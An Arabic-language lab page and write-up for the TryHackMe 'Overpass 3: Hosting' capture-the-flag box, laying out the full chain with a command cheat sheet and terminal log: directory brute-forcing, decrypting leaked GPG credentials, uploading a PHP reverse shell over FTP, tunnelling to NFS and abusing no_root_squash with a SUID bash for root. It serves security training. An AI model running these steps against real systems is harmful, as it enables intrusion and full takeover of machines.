Lab: Overpass3 - STY IT

عن اللاب

“Overpass Hosting”

Apache 2.4.37 (CentOS)

+ vsftpd 3.0.3 + OpenSSH 8.0

/backups/backup.zip

priv.key + CustomerDetails.xlsx.gpg

مفتاح PGP + اعتماديات مشفّرة

/home/james

NFS Export (no_root_squash)

نقطة التصعيد النهائية

Overpass 3: Hosting سلسلة اختراق كاملة تبدأ من نسخة احتياطية منسية جوه /backups/ فيها مفتاح PGP خاص وملف Excel مشفّر. بعد فك التشفير، كلمة سر واحدة بس شغالة — على FTP مش SSH — وFTP root بيطابق الـ web root، يعني رفع شل PHP بسيط بيديك تنفيذ كود مباشر.

الخطوة الأصعب هي الوصول لـ NFS على بورت 2049 — مش متاح مباشرة، فلازم SSH Local Port Forward عشان توصله، وبعدين تستغل no_root_squash للتصعيد لـ root.

Overpass 3 Badge

من نسخة احتياطية منسية لحد Root عبر استغلال NFS no_root_squash

مسار الهجوم — من Backup Leak لحد Root

فحص الخدمات + اكتشاف /backups/

Nmap يكشف FTP (vsftpd 3.0.3)، SSH (OpenSSH 8.0)، وApache. Gobuster بـ dirb/common.txt يكتشف مجلد /backups/ فيه ملف backup.zip.

nmap -sC -sV -p-gobuster dir → /backups/

فك تشفير backup.zip بـ GPG

الملف المضغوط فيه priv.key (مفتاح PGP خاص لحساب paradox) وCustomerDetails.xlsx.gpg. استيراد المفتاح وفك تشفير الملف يكشف جدول كلمات سر.

gpg –import priv.keygpg -d CustomerDetails.xlsx.gpg

دخول FTP + رفع Shell

كلمة سر paradox مش شغالة على SSH — بس شغالة على FTP. الـ FTP root بيطابق الـ web root تماماً، وبما إن backups/ قابل للكتابة، رفع PHP reverse shell مباشرة.

ftp paradox@targetput reverse-shell.php

تنفيذ الشل + ترقية الصلاحيات لـ paradox

طلب الصفحة المرفوعة من المتصفح يعطي شل بصلاحيات apache. ترقية الـ TTY، وبما إن كلمة سر paradox معروفة من الإكسل، su paradox بينجح مباشرة.

nc -lvnp 1234su paradox

LinPEAS + اكتشاف NFS Export

LinPEAS بيكشف /home/james مُصدّر عبر NFS بإعداد no_root_squash — خطر أمني كلاسيكي. بورت 2049 مش وصول مباشر، فلازم Tunneling.

linpeas.shno_root_squash export found

SSH Port Forward + Mount NFS

إضافة مفتاح SSH عام لحساب paradox، فتح نفق محلي لبورت 2049، ثم mount للشير — يكشف user.flag ومفتاح SSH خاص لجيمس.

ssh -L 2049:localhost:2049mount -t nfs localhost:/ /mnt/jamesNFS

استغلال no_root_squash → Root 🏆

بما إن root على جهازك بيتعامل كـ root على الشير، تنسخ /bin/bash للشير وتعمله SUID وإنت root محلياً. دخول SSH بحساب جيمس وتشغيل bash -p يديك شل root فوري.

chmod +s bash (as local root)./bash -pRoot Flag 🏆

مراحل اللاب

Backup Discovery

GPG Decrypt

FTP Shell

User Pivot

NFS Pivot

no_root_squash 🏆

Commands Cheat Sheet

الأمر	الوصف	المرحلة
gobuster dir -u http://target -w dirb/common.txt -x php,txt,js,css,html	اكتشاف مجلد /backups/	Enum
gpg –import priv.key	استيراد مفتاح PGP الخاص بـ paradox	GPG
gpg -d CustomerDetails.xlsx.gpg > creds.xlsx	فك تشفير جدول الاعتماديات	GPG
ftp paradox@target + put reverse-shell.php	رفع شل PHP عبر FTP لنفس الـ web root	Upload
su paradox	الانتقال لحساب paradox بنفس كلمة سر FTP	Pivot
ssh -i ~/.ssh/id_rsa paradox@target -L 2049:localhost:2049	فتح نفق للوصول لـ NFS المعزول	Tunnel
mount -t nfs localhost:/ /mnt/jamesNFS/	تحميل شير NFS اللي فيه مفتاح جيمس	Mount
cp /bin/bash /mnt/jamesNFS/ && chmod +s /mnt/jamesNFS/bash	استغلال no_root_squash لزرع SUID bash	PrivEsc

المهام والأسئلة

Task 1 — فحص الخدمات واكتشاف Backup

اكتشاف /backups/backup.zip عبر Gobuster

Recon

Task 2 — فك تشفير النسخة الاحتياطية

GPG decrypt + Web Flag

Web ✓

Task 3 — دخول FTP ورفع Shell

رفع PHP reverse shell وتنفيذه

Shell

Task 4 — LinPEAS + اكتشاف NFS

إيجاد إعداد no_root_squash الخطير

Enum

Task 5 — SSH Tunnel + Mount NFS

الوصول للشير وسرقة مفتاح جيمس + User Flag

User ✓

Task 6 — استغلال no_root_squash → Root 🏆

زرع SUID bash عبر الشير وتشغيله بصلاحيات root

Root 🏆

▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — من Backup Leak لحد Root

root@kali — Overpass 3: Hosting

# Phase 1 — Backup Discovery + GPG

└─# gobuster dir -u http://target -w dirb/common.txt -x php,txt,js,css,html

/backups/ (Status: 200)

└─# wget http://target/backups/backup.zip && unzip backup.zip

└─# gpg –import priv.key

[+] key imported: Paradox <paradox@overpass.thm>

└─# gpg -d CustomerDetails.xlsx.gpg > creds.xlsx

[+] paradox:**********

# Phase 2 — FTP Shell Upload

└─# ftp paradox@target

ftp> put php-reverse-shell.php backups/reverse-shell.php

└─# nc -lvnp 1234

[+] Shell received as apache (uid 48)

# Phase 3 — Pivot + NFS Discovery

apache@localhost:/var/www/html$ su paradox

paradox@localhost:~$ ./linpeas.sh | grep -i nfs

/home/james *(rw,fsid=0,sync,no_root_squash,insecure)

# Phase 4 — SSH Tunnel + Root via NFS

└─# ssh -i ~/.ssh/id_rsa paradox@target -L 2049:localhost:2049

└─# mount -t nfs localhost:/ /mnt/jamesNFS/

[+] Found james’s id_rsa + user.flag

└─# cp /bin/bash /mnt/jamesNFS/ && chmod +s /mnt/jamesNFS/bash

└─# ssh -i james_idrsa james@target

james@localhost:~$ ./bash -p

[+] bash-5.1# whoami → root 🏆

└─#

المهارات المكتسبة

Backup File Discovery

PGP/GPG Decryption

FTP File Upload Abuse

PHP Reverse Shells

LinPEAS Enumeration

SSH Local Port Forwarding

NFS Mounting

no_root_squash Exploitation

الأدوات المستخدمة

Gobusterاكتشاف مجلد /backups/ المنسي

GPGاستيراد مفتاح خاص وفك تشفير ملف Excel

PHP Reverse Shell + netcatالحصول على أول شل عبر FTP upload

LinPEASاكتشاف إعداد NFS الخطير

SSH (-L) + mountالوصول لـ NFS المعزول واستغلال no_root_squash

no_root_squash معناه إن المستخدم root على جهازك بيفضل root لما يلمس الشير — ده بيخليك تزرع أي ملف SUID عايزه وتشغله بصلاحيات كاملة من غير أي ثغرة تقنية حقيقية.

تقدمك في اللاب

33%PROGRESS

2 / 6 مهمة مكتملة

ابدأ اللاب على TryHackMe شوف الـ Writeup تحميل Cheat Sheet

Hard · Backup Leak → NFS Privilege Escalation

Hints

Hint 1 — كلمة السر مش شغالة على SSH−10 XP

Hint 2 — مش عارف أوصل لـ NFS−15 XP

Hint 3 — SUID bash مش شغال زي المتوقع−15 XP

Labs مشابهة

Source

Medium · Webmin Backdoor → Root

Holo

Hard · LFI → Docker Shell

Attacktive Directory

Advanced · Kerberos + AD (قريباً)

Lab: Overpass 3: HostingBackup Leak → GPG → FTP Shell → NFS no_root_squash